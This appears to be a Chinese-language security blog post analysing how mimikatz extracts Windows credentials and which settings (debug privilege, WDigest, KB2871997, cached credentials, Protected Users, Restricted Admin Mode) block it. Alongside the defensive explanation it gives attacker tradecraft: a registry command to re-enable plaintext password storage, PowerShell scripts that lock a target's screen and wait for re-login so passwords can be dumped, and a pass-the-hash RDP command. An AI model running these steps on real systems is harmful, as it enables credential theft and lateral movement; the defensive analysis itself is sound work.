Preface
前不久在使用mimikatz抓取hash的时候遇到了报错,本着追根溯源的原则去查看了mimikatz抓取密码的原理。在学习的过程中发现了mimikatz的每种报错都有不同的原因,本文就记录一下自己的学习过程,从mimikatz的防御角度出发来分析如何防御mimikatz抓取密码。
Debug Privilege
这里先放一个微软官方对调试权限的解释:
代码语言:javascript复制调试权限允许某人调试他们原本无权访问的进程。例如,以在其令牌上启用调试权限的用户身份运行的进程可以调试作为本地系统运行的服务。调试权限是一种安全策略设置,允许用户将调试器附加到进程或内核。管理员可以修改用户组的安全策略以包含或删除此功能。正在调试自己的应用程序的开发人员不需要此用户权限。调试系统组件或调试远程组件的开发人员将需要此用户权限。此用户权限提供对敏感和关键操作系统组件的完全访问权限。默认情况下,为具有管理员权限的用户启用此属性。具有管理员权限的用户可以为其他用户组启用此属性。
在 windows⾥,调试权限可以⽤来调试进程,甚⾄是调试内核。对于 mimikatz
的工作原理必须要读取内存,那么只有它拥有了调试的权限才能去打开进程。所以mimikatz
能抓取hash
的一个必要条件拥有调试程序的权限。
默认情况下,本地管理员组是由这个权限的。但是,除非管理员是个程序员,⼀般他应该⽤不到这种权限,因为普通使用电脑的用户一般不会去调试程序。为什么mimikatz
需要管理员权限才能够抓取hash
也是这个原因,如果只是一个user
权限就获得不了调试程序的权限。
本地安全策略是默认给管理员组权限的
在组策略里面也是把调试程序这个权限给了管理员。这里提一个windows的效力位阶,默认情况下,多条策略略不不冲突的情况下,多条策略略是合并的关系;如果冲突的话,优先级高的适用,优先级从低到高分别为
代码语言:javascript复制local policy(本地)-> site policy(站点)-> domain policy(域)-> ou policy(组织单元)
那么这里在本地和组策略都为把这个权限给了管理员的情况下也不需要使用windows的效力位阶再去分配权限,即Administrator
权限就能够调试程序
这里在没有更改原始本地策略和组策略的情况下,使用privilege::debug
提升权限是能够提权成功的
但当我在组策略中将调试程序设为空,即任何权限都不能够调试程序的情况下再去尝试用privilege::debug
提升权限
发现已经报错,不能提升权限,根本原因就是因为mimikatz
不能够获取调试权限则不能够提权
WDigest
何为WDigest
?
WDigest即摘要身份验证,摘要身份验证是一种质询/响应协议,主要在 Windows Server 2003 中用于 LDAP 和基于 Web 的身份验证。它利用超文本传输协议 (HTTP) 和简单身份验证安全层 (SASL) 交换进行身份验证。在较高级别上,客户端请求访问某些内容,身份验证服务器向客户端提出质询,客户端通过使用从密码派生的密钥对其响应进行加密来响应质询。将加密的响应与身份验证服务器上存储的响应进行比较,以确定用户是否具有正确的密码。
WDigest
有何作用?
Windows 安全审核应该是每个人的优先事项,了解您的端点的配置方式以及它们可能为恶意用户打开哪些门与保护任何环境都相关。这就是 WDigest 发挥作用的地方,与 WDigest 相关的事情是它以明文形式将密码存储在内存中。如果恶意用户可以访问端点并能够运行像 Mimikatz 这样的工具,他们不仅可以获得当前存储在内存中的哈希值,而且还可以获得帐户的明文密码。这显然是一个问题,因为现在他们不仅能够利用像pass-the-hash这样的攻击,而且他们现在还可以使用用户名和密码来尝试登录 Exchange、内部网站等。
回到WDigest
在mimikatz
使用过程中的作用,我们知道WDigest
利用HTTP
和SASL
进行身份验证,具体表现为把明文密码存在lsass.exe
进程里通过http
进行认证。这也衍生出了一个问题,一旦攻击者从中利用,就可以获得明文,所以WDigest
明文传输是极其不安全的。所以在win2008之后的版本WDigest
是默认不启用的,在win2008之前的版本虽然打开了WDigest
,但是如果系统上安装了KB2871997
补丁的话,也不能从中获得明文。
这里说到KB2871997
补丁补充一个点,我们知道KB2871997
这个补丁的作用就是关闭WDigest Auth
,但是并不是完全关闭。因为某些系统服务(如IIS的SSO身份认证)就需要用到WDigest Auth
,所以这里微软选择了一个折中的方法,让用户选择是否关闭WDigest Auth
,安装补丁之后可以自己选择是否开启WDigest Auth
,如果选择开启WDigest Auth
的话还是会保存明文密码
KB2871997
对应的注册表键值为UseLogonCredential
WDigest
的注册表位于
HKEY_LOCAL_MACHINESystemCurrentControlSetControlSecurityProvidersWDigest
这里首先看一下没有安装补丁的情况,可以看到这里是没有UseLogonCredential
这个值的
可以看到这里是抓取得到明文的
这里我到微软官方下载一下补丁
安装完成后发现已经有了这个键值,再尝试用mimikatz
抓取明文发现已经抓不到了
这里如果要设置为能够重新用WDigest
存储明文使用命令修改UseLogonCredential
键值修改为1即可
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
因为这里锁屏之后要注销后重启才能够抓到明文密码,但是我们在不知道明文的情况下就登陆不了,所以这里就需要考虑如下问题:
代码语言:javascript复制修改注册表锁屏进入循环,判断当前系统是否结束锁屏状态用户登录后,跳出循环等待,立即导出明文口令并保存
所以这里需要实现以下几个步骤,这里因为本人水平有限,所以这个地方参考了三好学生大佬的powershell代码,这里向三好学生大佬表示衷心感谢
•使用powershell实现注册表键值修改
修改键值为1
代码语言:javascript复制#!bashSet-ItemProperty -Path HKLM:SYSTEMCurrentControlSetControlSecurityProvidersWDigest -Name UseLogonCredential -Type DWORD -Value 1
这里判断注册表键值是否为0,如果为1则等待10s再判断,如果为0则退出循环,可以用来监控注册表键值是否被修改
代码语言:javascript复制#!powershell$key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest" -Name "UseLogonCredential"$Flag=$key.UseLogonCredentialwrite-host "[ ]Checking Flag"while($Flag -eq 1){ write-host "[ ]Flag Normal" write-host "[ ]Wait 10 Seconds..." Start-Sleep -Seconds 10 $key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest" -Name "UseLogonCredential" $Flag=$key.UseLogonCredential write-host "[ ]Checking Flag"}write-host "[!]Flag Changed!"
这里使用powershell脚本运行脚本,可以看到在没有修改的情况下是10s刷新一次
代码语言:javascript复制powershell.exe -ExecutionPolicy Bypass -File test.ps1
在修改注册表为0之后脚本停止退出循环
•锁屏
正常情况下windows锁屏的快捷键是win L,但是这里我们如果是在渗透的过程中就不能使用win L对对方主机进行锁屏,这里就需要使用cmd命令来使对方主机锁屏
cmd命令如下:
代码语言:javascript复制rundll32.exe user32.dll,LockWorkStation
使用powershell实现:
代码语言:javascript复制#!powershellFunction Lock-WorkStation {$signature = @"[DllImport("user32.dll", SetLastError = true)]public static extern bool LockWorkStation();"@$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru$LockWorkStation::LockWorkStation() | Out-Null}Lock-WorkStation
代码语言:javascript复制powershell.exe -ExecutionPolicy Bypass -File test2.ps1
•判断锁屏状态
这里的思路是通过判断GetForegroundWindow()
这个函数的返回值来确定是否锁屏。在锁屏状态下GetForegroundWindow()
这个函数返回值为NULL
,在非锁屏状态下GetForegroundWindow()
这个函数返回值为非空。
循环判断当前是否为锁屏状态,如果不是锁屏状态,退出循环,否则循环等待
代码语言:javascript复制#!powershellfunction local:Get-DelegateType { Param ( [OutputType([Type])] [Parameter( Position = 0)] [Type[]] $Parameters = (New-Object Type[](0)), [Parameter( Position = 1 )] [Type] $ReturnType = [Void] ) $Domain = [AppDomain]::CurrentDomain $DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate') $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags('Runtime, Managed') $TypeBuilder.CreateType()}function local:Get-ProcAddress { Param ( [OutputType([IntPtr])] [Parameter( Position = 0, Mandatory = $True )] [String] $Module, [Parameter( Position = 1, Mandatory = $True )] [String] $Procedure ) $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') } $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) $GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))}Start-Sleep -Seconds 10$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)$hWindow = $GetForegroundWindow.Invoke()write-host "[ ]Checking Flag"while($hWindow -eq 0){ write-host "[ ]LockScreen" write-host "[ ]Wait 10 Seconds..." Start-Sleep -Seconds 10 $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow $GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr]) $GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate) $hWindow = $GetForegroundWindow.Invoke() write-host "[ ]Checking Flag"}write-host "[!]Got Screen!"
•导出明文密码
在判断用户重新登录之后即可使用mimikatz导出明文密码,因为这里UseLogonCredential
的值已经为1,能够导出明文密码
Credential Caching
何为Credential Caching
?
Credntial Caching即凭证缓存。HTTP Server API 仅在用于 NTLM 身份验证的 Keep-Alive (KA) 连接上缓存凭据。默认情况下,HTTP Server API 缓存在 KA 连接上发送的第一个请求中获得的凭据。客户端可以在没有授权头的情况下在 KA 连接上发送后续请求,并根据之前建立的上下文获取身份验证。在这种情况下,HTTP Server API 将基于缓存凭据的令牌发送到应用程序。代理发送的请求的凭据不会被缓存。应用程序通过在HTTP_SERVER_AUTHENTICATION_INFO 中设置DisableNTLMCredentialCaching标志来禁用 NTLM 凭据缓存在调用 HttpSetServerSessionProperty 或 HttpSetUrlGroupProperty 时提供的结构。当凭据缓存被禁用时,HTTP Server API 会丢弃缓存的凭据并为每个请求执行身份验证
Domain Cached Credentials
简称DDC
,也叫mscache
。有两个版本,XP/2003年代的叫第⼀代,Vasta/2008之后的是第⼆代。DDC
的发明其实是kerberos
的衍生,因为在kerberos
协议中会有域成员暂时访问不到域控的情况出现,而DDC
的发明就是为了方便域成员在访问不到域控的情况下诞生的。如果暂时访问不到域控的话,windows会尝试使用本机缓存的凭证进行认证,凭证在本机上默认缓存十条。
缓存的位置在(Administrator也不能够访问):
代码语言:javascript复制HKEY_LOCAL_MACHINESECURITYCache
默认情况下为缓存10条缓存
这里首先尝试以下使用mimikatz
抓取hash,是能够抓取到的
再尝试把缓存次数改为0
这里需要在域内的机器才能够完成实验,这里我换了一台在域内的win7系统。关掉域控再次登录时发现域成员已经限制不能够登录
使用本地administrator帐号登陆上去提权到system,发现抓取不到hash
Protected Users Group
受保护的用户组,可以用来像本地管理员这样的高权限用户只能通过kerberos
来认证。这个受保护的用户组是在win2012之后引进的一个安全组(win2008及以前的系统在安装了KB2871997
补丁之后也会增加这个安全组)。这个安全组的设置就是为了防止明文存储在内存中和ntlm hash的泄露,原因大概是因为通过kerberos
认证会更安全。加入的方法也比较简单,只需要把需要保护的用户添加进这个受保护的用户组即可。
Restricted Admin Mode
何为Restricted Admin Mode
?
Restricted Admin Mode即受限管理员模式。最初为 Windows 8.1 和 Server 2012 R2 引入(win2008及之前的版本需要KB2871997、KB2973351补丁),受限管理模式是一项 Windows 功能,可防止将 RDP 用户的凭据存储在建立 RDP 连接的计算机的内存中。实际上,这将防止用户(通常是管理员)在 RDP 进入受感染主机后从内存中读取他们的凭据。为防止凭据存储在远程计算机上,受限管理员更改了远程桌面协议,使其使用网络登录而不是交互式登录进行身份验证。有了这种保护,建立 RDP 会话将不需要提供关联的密码;相反,用户的 NTLM Hash 或 Kerberos 票证将用于身份验证。客户端和服务器的受限管理员已向后 移植 到 Windows 7 和 Server 2008,但在大多数标准 Windows 版本上默认情况下仍处于禁用状态,这是由于围绕其使用的一些注意事项。
Restricted Admin Mode
的使用需要客户端和服务端相互配合,在服务端开启需要在注册表中添加如下键值
REG ADD "HKLMSystemCurrentControlSetControlLsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
这里查看下客户端版本是否为rdp 8.1
首先管理员模式可以用当前登录凭证进行登录
使用mimikatz
进行hash传递
sekurlsa::pth /user:<username> /domain:<comptername or ip> /ntlm: <ntlm hash> "/run:mstsc.exe /restrictedadmin"
连接成功
Summary
本来在研究的时候我以为是KB2871997
这个补丁直接限制了pass hash,但是在阅读许多大佬文章后发现,KB2871997
并不能直接限制pass hash,而是通过几种措施限制:
1、 支持“ProtectedUsers”组;2、 Restricted Admin RDP模式的远程桌面客户端支持;3、 注销后删除LSASS中的凭据;4、 添加两个新的SID;5、 LSASS中只允许wdigest存储明文密码。
其中1、2、5三点在之前都已经提到过这里就不继续延伸了,这里主要说一下3、4两点
首先是第3点,在注销后删除LSASS中的凭据,在更新之前,只要用户登录系统,Windows就会在lsass中缓存用户的凭据,包括用户的明文密码、LM/NTLM HASH、Kerberos的TGT票据、SessionKey
再就是第4点,在补丁中会添加两个新的SID,分别为S-1-5-113、S-1-5-114
代码语言:javascript复制本地帐户,LOCAL_ACCOUNT(S-1-5-113),所有本地帐户继承自此SID;本地帐户和管理组成员,LOCAL_ACCOUNT_AND_MEMBER_OF_ADMINISTRATORS_GROUP(S-1-5-114),所有管理员组的本地用户继承此SID。
S-1-5-114这里在中文操作系统中提供的翻译是“NTAUTHORITY本地帐户和管理员组成员”,但实际上是“所有本地Administrators组中的本地帐户”,即域用户即使被加入到了本地Administrators组也不继承此SID。
这个SID对于限制横向渗透的远程连接并没有任何实质的作用,它的主要作用是更方便的防止通过网络使用本地帐户登录。对于防御人员来说我们可以通过将这两个SID对应的组加入组策略中的下列选项,从而限制攻击者能够从外部访问本地系统/服务:
代码语言:javascript复制拒绝从网络访问这台计算机拒绝通过远程桌面服务登录